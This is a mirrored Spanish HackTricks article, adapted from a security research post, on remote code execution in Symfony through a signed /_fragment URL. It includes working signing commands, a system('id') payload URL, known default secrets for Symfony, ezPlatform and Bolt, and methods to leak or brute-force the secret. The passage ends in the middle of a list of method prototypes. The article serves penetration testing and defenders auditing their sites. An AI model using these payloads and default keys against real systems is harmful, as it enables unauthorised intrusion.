mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
541 lines
35 KiB
Markdown
541 lines
35 KiB
Markdown
## Symfony
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Introducción <a href="#introduction" id="introduction"></a>
|
|
|
|
Desde su creación en 2008, el uso del framework [Symfony](https://symfony.com) ha ido creciendo cada vez más en aplicaciones basadas en PHP. Ahora es un componente fundamental de muchos CMS conocidos, como [Drupal](https://www.drupal.org), [Joomla!](https://www.joomla.org), [eZPlatform](https://ezplatform.com) (anteriormente eZPublish) o [Bolt](https://bolt.cm), y a menudo se utiliza para construir sitios web personalizados.
|
|
|
|
Una de las características integradas de Symfony, diseñada para manejar [ESI (Edge-Side Includes)](https://en.wikipedia.org/wiki/Edge\_Side\_Includes), es la clase [`FragmentListener`](https://github.com/symfony/symfony/blob/5.1/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php). Básicamente, cuando alguien emite una solicitud a `/_fragment`, este oyente establece los atributos de la solicitud a partir de los parámetros GET dados. Dado que esto permite **ejecutar código PHP arbitrario** (_más sobre esto más adelante_), la solicitud debe estar firmada utilizando un valor HMAC. La clave criptográfica secreta de este HMAC se almacena en un valor de configuración de Symfony llamado `secret`.
|
|
|
|
Este valor de configuración, `secret`, también se utiliza, por ejemplo, para construir tokens CSRF y tokens de recordatorio de sesión. Dado su importancia, este valor debe ser obviamente muy aleatorio.
|
|
|
|
Desafortunadamente, descubrimos que a menudo, el secreto tiene un **valor predeterminado**, o existen **formas de obtener el valor, fuerza bruta fuera de línea o simplemente saltarse la comprobación de seguridad con la que está involucrado**. Esto afecta principalmente a Bolt, eZPlatform y eZPublish.
|
|
|
|
Aunque esto puede parecer un problema de configuración benigno, hemos descubierto que los valores predeterminados, fuerza bruta o adivinables están **muy, muy presentes** en los CMS mencionados, así como en aplicaciones personalizadas. Esto se debe principalmente a no poner suficiente énfasis en su importancia en la documentación o guías de instalación.
|
|
|
|
Además, un atacante puede escalar vulnerabilidades de menor impacto para leer el `secret` (a través de una divulgación de archivos), saltarse el proceso de firma de `/_fragment` (usando un SSRF) e incluso filtrarlo a través de `phpinfo()` !
|
|
|
|
En esta publicación de blog, describiremos cómo se puede obtener el secreto en varios CMS y en el marco base, y cómo obtener la ejecución de código utilizando dicho secreto.
|
|
|
|
## Un poco de historia <a href="#a-little-bit-of-history" id="a-little-bit-of-history"></a>
|
|
|
|
Siendo un framework moderno, Symfony ha tenido que lidiar con la generación de subpartes de una solicitud desde su creación hasta nuestros días. Antes de `/_fragment`, había `/_internal` y `/_proxy`, que hacían esencialmente lo mismo. Esto produjo muchas vulnerabilidades a lo largo de los años: [CVE-2012-6432](https://symfony.com/blog/security-release-symfony-2-0-20-and-2-1-5-released#cve-2012-6432-code-execution-vulnerability-via-the-internal-routes), [CVE-2014-5245](https://symfony.com/blog/cve-2014-5245-direct-access-of-esi-urls-behind-a-trusted-proxy) y [CVE-2015-4050](https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access), por ejemplo.
|
|
|
|
Desde Symfony 4, el secreto se genera durante la instalación y la página `/_fragment` está desactivada de forma predeterminada. Uno pensaría, por lo tanto, que la conjunción de tener un `secret` débil y `/_fragment` habilitado sería rara. No lo es: muchos frameworks se basan en versiones antiguas de Symfony (incluso 2.x sigue siendo muy presente) e implementan un valor `secret` estático o lo generan de manera deficiente. Además, muchos se basan en ESI y, como tal, habilitan la página `/_fragment`. Además, como veremos, otras vulnerabilidades de menor impacto pueden permitir la volcado del secreto, incluso si se ha generado de manera segura.
|
|
|
|
## Ejecución de código con la ayuda de `secret` <a href="#executing-code-with-the-help-of-secret" id="executing-code-with-the-help-of-secret"></a>
|
|
|
|
Primero demostraremos cómo un atacante, teniendo conocimiento del valor de configuración `secret`, puede obtener la ejecución de código. Esto se hace para la última versión de `symfony/http-kernel`, pero es similar para otras versiones.
|
|
|
|
### Usando `/_fragment` para ejecutar código arbitrario <a href="#using-_fragment-to-run-arbitrary-code" id="using-_fragment-to-run-arbitrary-code"></a>
|
|
|
|
Como se mencionó antes, haremos uso de la página `/_fragment`.
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
public function onKernelRequest(RequestEvent $event)
|
|
{
|
|
$request = $event->getRequest();
|
|
|
|
# [1]
|
|
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
|
|
return;
|
|
}
|
|
|
|
if ($request->attributes->has('_controller')) {
|
|
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
|
|
$request->query->remove('_path');
|
|
|
|
return;
|
|
}
|
|
|
|
# [2]
|
|
if ($event->isMasterRequest()) {
|
|
$this->validateRequest($request);
|
|
}
|
|
|
|
# [3]
|
|
parse_str($request->query->get('_path', ''), $attributes);
|
|
$request->attributes->add($attributes);
|
|
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
|
|
$request->query->remove('_path');
|
|
}
|
|
}
|
|
```
|
|
`FragmentListener:onKernelRequest` se ejecutará en cada solicitud: si la ruta de la solicitud es `/_fragment` \[1], el método primero verificará que la solicitud sea válida (_es decir_, esté correctamente firmada) y lanzará una excepción en caso contrario \[2]. Si las comprobaciones de seguridad tienen éxito, analizará el parámetro `_path` codificado en la URL y establecerá los atributos `$request` en consecuencia.
|
|
|
|
Los atributos de solicitud no deben confundirse con los parámetros de solicitud HTTP: son valores internos, mantenidos por Symfony, que generalmente no pueden ser especificados por un usuario. Uno de estos atributos de solicitud es `_controller`, que especifica qué controlador de Symfony (una tupla _(clase, método)_ o simplemente una _función_) debe ser llamado. Los atributos cuyo nombre no comienza con `_` son argumentos que se van a pasar al controlador. Por ejemplo, si quisiéramos llamar a este método:
|
|
```php
|
|
class SomeClass
|
|
{
|
|
public function someMethod($firstMethodParam, $secondMethodParam)
|
|
{
|
|
...
|
|
}
|
|
}
|
|
```
|
|
Establecimos `_path` a:
|
|
|
|
`_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2`
|
|
|
|
La solicitud se vería así:
|
|
|
|
`http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...`
|
|
|
|
Básicamente, esto permite llamar a cualquier función o método de cualquier clase con cualquier parámetro. Dada la gran cantidad de clases que tiene Symfony, **obtener la ejecución de código es trivial**. Por ejemplo, podemos llamar a `system()`:
|
|
|
|
`http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...`
|
|
|
|
_Llamar a system no funcionará siempre: consulte la sección de Exploit para obtener más detalles sobre las sutilezas de la explotación._
|
|
|
|
Un problema sigue sin resolverse: ¿cómo verifica Symfony la firma de la solicitud?
|
|
|
|
### Firmar la URL <a href="#signing-the-url" id="signing-the-url"></a>
|
|
|
|
Para verificar la firma de una URL, se calcula un HMAC contra la URL _completa_. El hash obtenido se compara con el especificado por el usuario.
|
|
|
|
En el código, esto se hace en dos lugares:
|
|
```php
|
|
# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// is the Request signed?
|
|
if ($this->signer->checkRequest($request)) {
|
|
return;
|
|
}
|
|
|
|
# [3]
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
}
|
|
|
|
# ./vendor/symfony/http-kernel/UriSigner.php
|
|
|
|
class UriSigner
|
|
{
|
|
public function checkRequest(Request $request): bool
|
|
{
|
|
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';
|
|
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
|
|
}
|
|
|
|
/**
|
|
* Checks that a URI contains the correct hash.
|
|
*
|
|
* @return bool True if the URI is signed correctly, false otherwise
|
|
*/
|
|
public function check(string $uri)
|
|
{
|
|
$url = parse_url($uri);
|
|
if (isset($url['query'])) {
|
|
parse_str($url['query'], $params);
|
|
} else {
|
|
$params = [];
|
|
}
|
|
|
|
if (empty($params[$this->parameter])) {
|
|
return false;
|
|
}
|
|
|
|
$hash = $params[$this->parameter];
|
|
unset($params[$this->parameter]);
|
|
|
|
# [2]
|
|
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
|
|
}
|
|
|
|
private function computeHash(string $uri): string
|
|
{
|
|
# [1]
|
|
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
|
|
}
|
|
|
|
private function buildUrl(array $url, array $params = []): string
|
|
{
|
|
ksort($params, SORT_STRING);
|
|
$url['query'] = http_build_query($params, '', '&');
|
|
|
|
$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
|
|
$host = isset($url['host']) ? $url['host'] : '';
|
|
$port = isset($url['port']) ? ':'.$url['port'] : '';
|
|
$user = isset($url['user']) ? $url['user'] : '';
|
|
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
|
|
$pass = ($user || $pass) ? "$pass@" : '';
|
|
$path = isset($url['path']) ? $url['path'] : '';
|
|
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
|
|
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';
|
|
|
|
return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
|
|
}
|
|
}
|
|
```
|
|
En resumen, Symfony extrae el parámetro GET `_hash`, luego reconstruye la URL completa, por ejemplo `https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...`, calcula un HMAC de esta URL utilizando el `secret` como clave \[1], y lo compara con el valor hash dado \[2]. Si no coinciden, se genera una excepción `AccessDeniedHttpException` \[3], lo que resulta en un error `403`.
|
|
|
|
### Ejemplo <a href="#example" id="example"></a>
|
|
|
|
Para probar esto, configuremos un entorno de prueba y extraigamos el secreto (en este caso, generado aleatoriamente).
|
|
```
|
|
$ git clone https://github.com/symfony/skeleton.git
|
|
$ cd skeleton
|
|
$ composer install
|
|
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
|
|
$ grep -F APP_SECRET .env # Find secret
|
|
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
|
|
$ cd public
|
|
$ php -S 0:8000
|
|
```
|
|
Ahora, al visitar `http://localhost:8000/_fragment` obtenemos un `403`. Ahora intentemos proporcionar una firma válida:
|
|
```
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D
|
|
```
|
|
Al revisar `http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D`, ahora obtenemos un código de estado `404`. La firma era correcta, pero no especificamos ningún atributo de solicitud, por lo que Symfony no encuentra nuestro controlador.
|
|
|
|
Dado que podemos llamar a cualquier método, con cualquier argumento, podemos por ejemplo elegir `system($command, $return_value)`, y proporcionar un payload de la siguiente manera:
|
|
```
|
|
$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
|
|
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
|
|
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D
|
|
```
|
|
Ahora podemos visitar la URL de explotación: `http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D`.
|
|
|
|
A pesar del error `500`, podemos ver que **nuestro comando se ejecutó**.
|
|
|
|
_RCE usando fragmento_
|
|
|
|
![1](https://www.ambionics.io/images/symfony-secret-fragment/1.png)
|
|
|
|
## Encontrando secretos <a href="#finding-secrets" id="finding-secrets"></a>
|
|
|
|
De nuevo, todo esto no importaría si los secretos no fueran obtenibles. A menudo, lo son. Describiremos varias formas de obtener la ejecución de código sin ningún conocimiento previo.
|
|
|
|
### A través de vulnerabilidades <a href="#through-vulnerabilities" id="through-vulnerabilities"></a>
|
|
|
|
Comencemos con lo obvio: usar vulnerabilidades de menor impacto para obtener el secreto.
|
|
|
|
#### Lectura de archivos <a href="#file-read" id="file-read"></a>
|
|
|
|
Evidentemente, una vulnerabilidad de lectura de archivos podría usarse para leer los siguientes archivos y obtener `secret`:
|
|
|
|
* `app/config/parameters.yml`
|
|
* `.env`
|
|
|
|
_Como ejemplo, algunas barras de herramientas de depuración de Symfony permiten leer archivos._
|
|
|
|
#### PHPinfo <a href="#phpinfo" id="phpinfo"></a>
|
|
|
|
En versiones recientes de Symfony (3.x), `secret` se almacena en `.env` como `APP_SECRET`. Dado que luego se importa como una variable de entorno, se pueden ver a través de una página `phpinfo()`.
|
|
|
|
_Filtrando APP\_SECRET a través de phpinfo_
|
|
|
|
![2](https://www.ambionics.io/images/symfony-secret-fragment/2.png)
|
|
|
|
Esto se puede hacer principalmente a través del paquete de perfilador de Symfony, como se muestra en la captura de pantalla.
|
|
|
|
#### SSRF / IP spoofing (CVE-2014-5245) <a href="#ssrf-ip-spoofing-cve-2014-5245" id="ssrf-ip-spoofing-cve-2014-5245"></a>
|
|
|
|
El código detrás de `FragmentListener` ha evolucionado a lo largo de los años: hasta la versión _2.5.3_, cuando la solicitud provenía de un proxy de confianza (léase: `localhost`), se consideraría segura y, como tal, no se comprobaría el hash. Un SSRF, por ejemplo, puede permitir ejecutar código de inmediato, independientemente de tener `secret` o no. Esto afecta notablemente a eZPublish hasta 2014.7.
|
|
```php
|
|
# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
|
|
# Symfony 2.3.18
|
|
|
|
class FragmentListener implements EventSubscriberInterface
|
|
{
|
|
protected function validateRequest(Request $request)
|
|
{
|
|
// is the Request safe?
|
|
if (!$request->isMethodSafe()) {
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
// does the Request come from a trusted IP?
|
|
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
|
|
$remoteAddress = $request->server->get('REMOTE_ADDR');
|
|
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
|
|
return;
|
|
}
|
|
|
|
// is the Request signed?
|
|
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
|
|
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
|
|
return;
|
|
}
|
|
|
|
throw new AccessDeniedHttpException();
|
|
}
|
|
|
|
protected function getLocalIpAddresses()
|
|
{
|
|
return array('127.0.0.1', 'fe80::1', '::1');
|
|
}
|
|
```
|
|
Es cierto que todas esas técnicas requieren otra vulnerabilidad. Sumergámonos en un vector aún mejor: los valores predeterminados.
|
|
|
|
### A través de valores predeterminados <a href="#through-default-values" id="through-default-values"></a>
|
|
|
|
#### Symfony <= 3.4.43: `ThisTokenIsNotSoSecretChangeIt` <a href="#symfony-3443-thistokenisnotsosecretchangeit" id="symfony-3443-thistokenisnotsosecretchangeit"></a>
|
|
|
|
Al configurar un sitio web de Symfony, el primer paso es instalar el esqueleto [symfony-standard](https://github.com/symfony/symfony-standard). Al instalarlo, se solicitan algunos valores de configuración. Por defecto, la clave es `ThisTokenIsNotSoSecretChangeIt`.
|
|
|
|
_Instalación de Symfony a través de composer_
|
|
|
|
![3](https://www.ambionics.io/images/symfony-secret-fragment/3.png)
|
|
|
|
En versiones posteriores (4+), la clave secreta se genera de forma segura.
|
|
|
|
#### ezPlatform 3.x (último): `ff6dc61a329dc96652bb092ec58981f7` <a href="#ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7" id="ezplatform-3x-latest-ff6dc61a329dc96652bb092ec58981f7"></a>
|
|
|
|
[ezPlatform](https://ezplatform.com), el sucesor de [ezPublish](https://en.wikipedia.org/wiki/EZ\_Publish), todavía utiliza Symfony. El 10 de junio de 2019, un [commit](https://github.com/ezsystems/ezplatform/commit/974f2a70d9d0507ba7ca17226693b1a4967f23cf#diff-f579cccc964135c7d644c7b2d3b0d3ecR59) estableció la clave predeterminada en `ff6dc61a329dc96652bb092ec58981f7`. Las versiones vulnerables van desde 3.0-alpha1 hasta 3.1.1 (actual).
|
|
|
|
Aunque la [documentación](https://doc.ezplatform.com/en/latest/getting\_started/install\_ez\_platform/#change-installation-parameters) indica que se debe cambiar la clave secreta, no se impone.
|
|
|
|
#### ezPlatform 2.x: `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt` <a href="#ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit" id="ezplatform-2x-thisezplatformtokenisnotsosecret_pleasechangeit"></a>
|
|
|
|
Al igual que el esqueleto de Symfony, se le pedirá que ingrese una clave secreta durante la instalación. El valor predeterminado es `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`.
|
|
|
|
#### Bolt CMS <= 3.7 (último): `md5(__DIR__)` <a href="#bolt-cms-37-latest-md5__dir__" id="bolt-cms-37-latest-md5__dir__"></a>
|
|
|
|
[Bolt CMS](https://bolt.cm) utiliza [Silex](https://github.com/silexphp/Silex), un micro-framework obsoleto basado en Symfony. Configura la clave secreta utilizando este cálculo:
|
|
```php
|
|
# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
|
|
$app['uri_signer.secret'] = md5(__DIR__);
|
|
|
|
# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
|
|
$app['form.secret'] = md5(__DIR__);
|
|
```
|
|
Como tal, se puede adivinar el secreto, o utilizar una vulnerabilidad de divulgación de ruta completa para calcularlo.
|
|
|
|
Si no tuvo éxito con las claves secretas predeterminadas, no se desespere: hay otras formas.
|
|
|
|
### Fuerza bruta <a href="#bruteforce" id="bruteforce"></a>
|
|
|
|
Dado que el secreto a menudo se establece manualmente (en lugar de generarse al azar), las personas a menudo usarán una frase de contraseña en lugar de un valor aleatorio seguro, lo que lo hace susceptible a la fuerza bruta si tenemos un hash para aplicar la fuerza bruta. Obviamente, una URL válida `/_fragment`, como la generada por Symfony, nos proporcionaría una tupla de mensaje-hash válida para aplicar la fuerza bruta al secreto.
|
|
|
|
_Se incluye una solicitud válida al fragmento en la respuesta_
|
|
|
|
![4](https://www.ambionics.io/images/symfony-secret-fragment/4.png)
|
|
|
|
Al comienzo de esta publicación de blog, dijimos que el secreto de Symfony tenía varios usos. Uno de esos usos es que también se utiliza para generar tokens CSRF. Otro uso de `secret` es firmar cookies de recordatorio. En algunos casos, un atacante puede usar su propio token CSRF o cookie de recordatorio para aplicar la fuerza bruta al valor de `secret`.
|
|
|
|
_La ingeniería inversa de la construcción de esos tokens se deja como ejercicio para el lector._
|
|
|
|
### Yendo más allá: eZPublish <a href="#going-further-ezpublish" id="going-further-ezpublish"></a>
|
|
|
|
Como ejemplo de cómo se pueden aplicar la fuerza bruta a los secretos para lograr la ejecución de código, veremos cómo podemos descubrir el secreto de eZPublish 2014.07.
|
|
|
|
#### Encontrar material para la fuerza bruta <a href="#finding-bruteforce-material" id="finding-bruteforce-material"></a>
|
|
|
|
eZPublish genera sus tokens CSRF de esta manera:
|
|
```php
|
|
# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
|
|
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );
|
|
```
|
|
Para construir este token, eZP utiliza dos valores que conocemos y el secreto: `getIntention()` es la acción que el usuario está intentando (`autenticar`, por ejemplo), `session_id()` es el ID de sesión de PHP y `getSecret()`, bueno, es el `secreto` de Symfony.
|
|
|
|
Dado que los tokens CSRF se pueden encontrar en algunos formularios, ahora tenemos el material para hacer fuerza bruta en el secreto.
|
|
|
|
Desafortunadamente, ezPublish incorporó un paquete de sensiolabs, [sensio/distribution-bundle](https://packagist.org/packages/sensio/distribution-bundle). Este paquete se asegura de que la clave secreta sea aleatoria. La genera así, al momento de la instalación:
|
|
```php
|
|
# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php
|
|
|
|
private function generateRandomSecret()
|
|
{
|
|
return hash('sha1', uniqid(mt_rand()));
|
|
}
|
|
```
|
|
Esto parece ser muy difícil de atacar por fuerza bruta: `mt_rand()` puede generar 231 valores diferentes, y `uniqid()` se construye a partir de la marca de tiempo actual (con microsegundos).
|
|
```php
|
|
// Simplified uniqid code
|
|
|
|
struct timeval tv;
|
|
gettimeofday(&tv, NULL);
|
|
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);
|
|
```
|
|
#### Revelando la marca de tiempo <a href="#disclosing-the-timestamp" id="disclosing-the-timestamp"></a>
|
|
|
|
Afortunadamente, sabemos que este secreto se genera en el último paso de la instalación, justo después de que se configure el sitio web. Esto significa que probablemente podamos filtrar la marca de tiempo utilizada para generar este hash.
|
|
|
|
Una forma de hacerlo es utilizando los registros (_por ejemplo_ `/var/log/storage.log`); se puede filtrar la primera vez que se creó una entrada en la caché. La entrada de caché se crea justo después de que se llama a `generateRandomSecret()`.
|
|
|
|
_Contenido de registro de muestra: la marca de tiempo es similar a la utilizada para calcular el secreto_
|
|
|
|
![5](https://www.ambionics.io/images/symfony-secret-fragment/5.png)
|
|
|
|
Si los registros no están disponibles, se puede utilizar el potente motor de búsqueda de eZPublish para encontrar la hora de creación del primer elemento del sitio web. De hecho, cuando se crea el sitio, se colocan muchas marcas de tiempo en la base de datos. Esto significa que la marca de tiempo de los datos iniciales del sitio eZPublish es la misma que la utilizada para calcular `uniqid()`. Podemos buscar el _ContentObject_ `landing_page` y averiguar su marca de tiempo.
|
|
|
|
## Descifrando los fragmentos faltantes <a href="#bruteforcing-the-missing-bits" id="bruteforcing-the-missing-bits"></a>
|
|
|
|
Ahora conocemos la marca de tiempo utilizada para calcular el secreto, así como un hash de la siguiente forma:
|
|
```php
|
|
$random_value = mt_rand();
|
|
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
|
|
$known_plaintext = '<intention><sessionID>';
|
|
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);
|
|
```
|
|
Esto nos deja con un total de 231 \* 106 posibilidades. Parece factible con [hashcat](https://hashcat.net) y un buen conjunto de GPUs, pero hashcat no proporciona un kernel `sha1(sha1($pass).$salt)`. ¡Afortunadamente, lo implementamos! Puedes encontrar [la solicitud de extracción aquí](https://github.com/hashcat/hashcat/pull/2536).
|
|
|
|
Usando nuestra máquina de cracking, que cuenta con 8 GPUs, podemos crackear este hash en _menos de 20 horas_.
|
|
|
|
Después de obtener el hash, podemos usar `/_fragment` para ejecutar código.
|
|
|
|
## Conclusión <a href="#conclusion" id="conclusion"></a>
|
|
|
|
Symfony es ahora un componente central de muchas aplicaciones PHP. Como tal, cualquier riesgo de seguridad que afecte al framework afecta a muchos sitios web. Como se demostró en este artículo, ya sea una clave débil o una vulnerabilidad de menor impacto, permite a los atacantes obtener **ejecución remota de código**.
|
|
|
|
Como equipo azul, debes revisar todos tus sitios web dependientes de Symfony. El software actualizado no puede descartarse para vulnerabilidades, ya que la clave secreta se genera en la primera instalación del producto. Por lo tanto, si creaste un sitio web basado en Symfony 3.x hace unos años y lo mantuviste actualizado en el camino, es probable que la clave secreta siga siendo la predeterminada.
|
|
|
|
## Explotación <a href="#exploitation" id="exploitation"></a>
|
|
|
|
### Teoría <a href="#theory" id="theory"></a>
|
|
|
|
Por un lado, tenemos algunas cosas de las que preocuparnos al explotar esta vulnerabilidad:
|
|
|
|
* El HMAC se calcula utilizando la **URL completa**. Si el sitio web está detrás de un proxy inverso, necesitamos usar la URL interna del servicio en lugar de la que estamos enviando nuestra carga útil. Por ejemplo, la URL interna podría ser a través de HTTP en lugar de HTTPS.
|
|
* El algoritmo HMAC ha cambiado a lo largo de los años: antes era **SHA-1** y ahora es **SHA-256**.
|
|
* Dado que Symfony elimina el parámetro `_hash` de la solicitud y luego genera la URL nuevamente, debemos calcular el hash en la misma URL que lo hace.
|
|
* Se pueden usar muchas claves secretas, por lo que debemos verificarlas todas.
|
|
* En algunas versiones de PHP, no podemos llamar a funciones que tienen parámetros "por referencia", como `system($command, &$return_value)`.
|
|
* En algunas versiones de Symfony, `_controller` no puede ser una función, tiene que ser un método. Necesitamos encontrar un método de Symfony que nos permita ejecutar código.
|
|
|
|
Por otro lado, podemos aprovechar algunas cosas:
|
|
|
|
* Al golpear `/_fragment` sin parámetros o con un hash no válido, debería devolver un `403`.
|
|
* Al golpear `/_fragment` con un hash válido pero sin un controlador válido, debería dar un `500`.
|
|
|
|
El último punto nos permite probar valores secretos sin preocuparnos por qué función o método vamos a llamar después.
|
|
|
|
### Práctica <a href="#practice" id="practice"></a>
|
|
|
|
Digamos que estamos atacando `https://target.com/_fragment`. Para poder firmar correctamente una URL, necesitamos conocer:
|
|
|
|
* URL interna: podría ser `https://target.com/_fragment`, o tal vez `http://target.com/_fragment`, o algo completamente diferente (_por ejemplo_, `http://target.website.internal`), que no podemos adivinar.
|
|
* Clave secreta: tenemos una lista de claves secretas habituales, como `ThisTokenIsNotSoSecretChangeIt`, `ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt`, etc.
|
|
* Algoritmo: SHA1 o SHA256
|
|
|
|
No necesitamos preocuparnos por la carga útil efectiva (el contenido de `_path`) todavía, porque una URL correctamente firmada no dará lugar a que se lance una `AccessDeniedHttpException` y, como tal, no dará lugar a un `403`. Por lo tanto, el exploit probará cada combinación `(algoritmo, URL, secreto)`, generará una URL y comprobará si no devuelve un código de estado `403`.
|
|
|
|
_Una solicitud válida a `/_fragment`, sin el parámetro `_path`_
|
|
|
|
![6](https://www.ambionics.io/images/symfony-secret-fragment/6.png)
|
|
|
|
En este punto, podemos firmar cualquier URL `/_fragment`, lo que significa que es una RCE garantizada. Es solo una cuestión de qué llamar.
|
|
|
|
Luego, necesitamos averiguar si podemos llamar a una función directamente o si necesitamos usar un método de clase. Primero podemos intentar la forma más directa, utilizando una función como `phpinfo ([ int $what = INFO_ALL ] )` ([documentación](https://www.php.net/manual/en/function.phpinfo.php)). El parámetro GET `_path` se vería así:
|
|
```
|
|
_controller=phpinfo
|
|
&what=-1
|
|
```
|
|
Y la URL se vería así:
|
|
|
|
`http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...`
|
|
|
|
Si la respuesta HTTP muestra una página `phpinfo()`, hemos ganado. Entonces podemos intentar usar otra función, como `assert`:
|
|
|
|
_Ejemplo de salida usando `_controller=assert`_
|
|
|
|
![7](https://www.ambionics.io/images/symfony-secret-fragment/7.png)
|
|
|
|
De lo contrario, esto significa que necesitaremos usar un método de clase en su lugar. Un buen candidato para esto es `Symfony\Component\Yaml\Inline::parse`, que es una clase integrada de Symfony, y como tal está presente en sitios web de Symfony.
|
|
|
|
Obviamente, este método analiza una cadena de entrada YAML. El analizador YAML de Symfony admite la etiqueta `php/object`, que convertirá una cadena de entrada serializada en un objeto usando `unserialize()`. ¡Esto nos permite usar nuestra herramienta PHP favorita, [PHPGGC](https://github.com/ambionics/phpggc)!
|
|
|
|
El prototipo del método ha cambiado a lo largo de los años. Por ejemplo, aquí hay tres prototipos diferentes:
|
|
```
|
|
public static function parse($value, $flags, $references);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
|
```
|
|
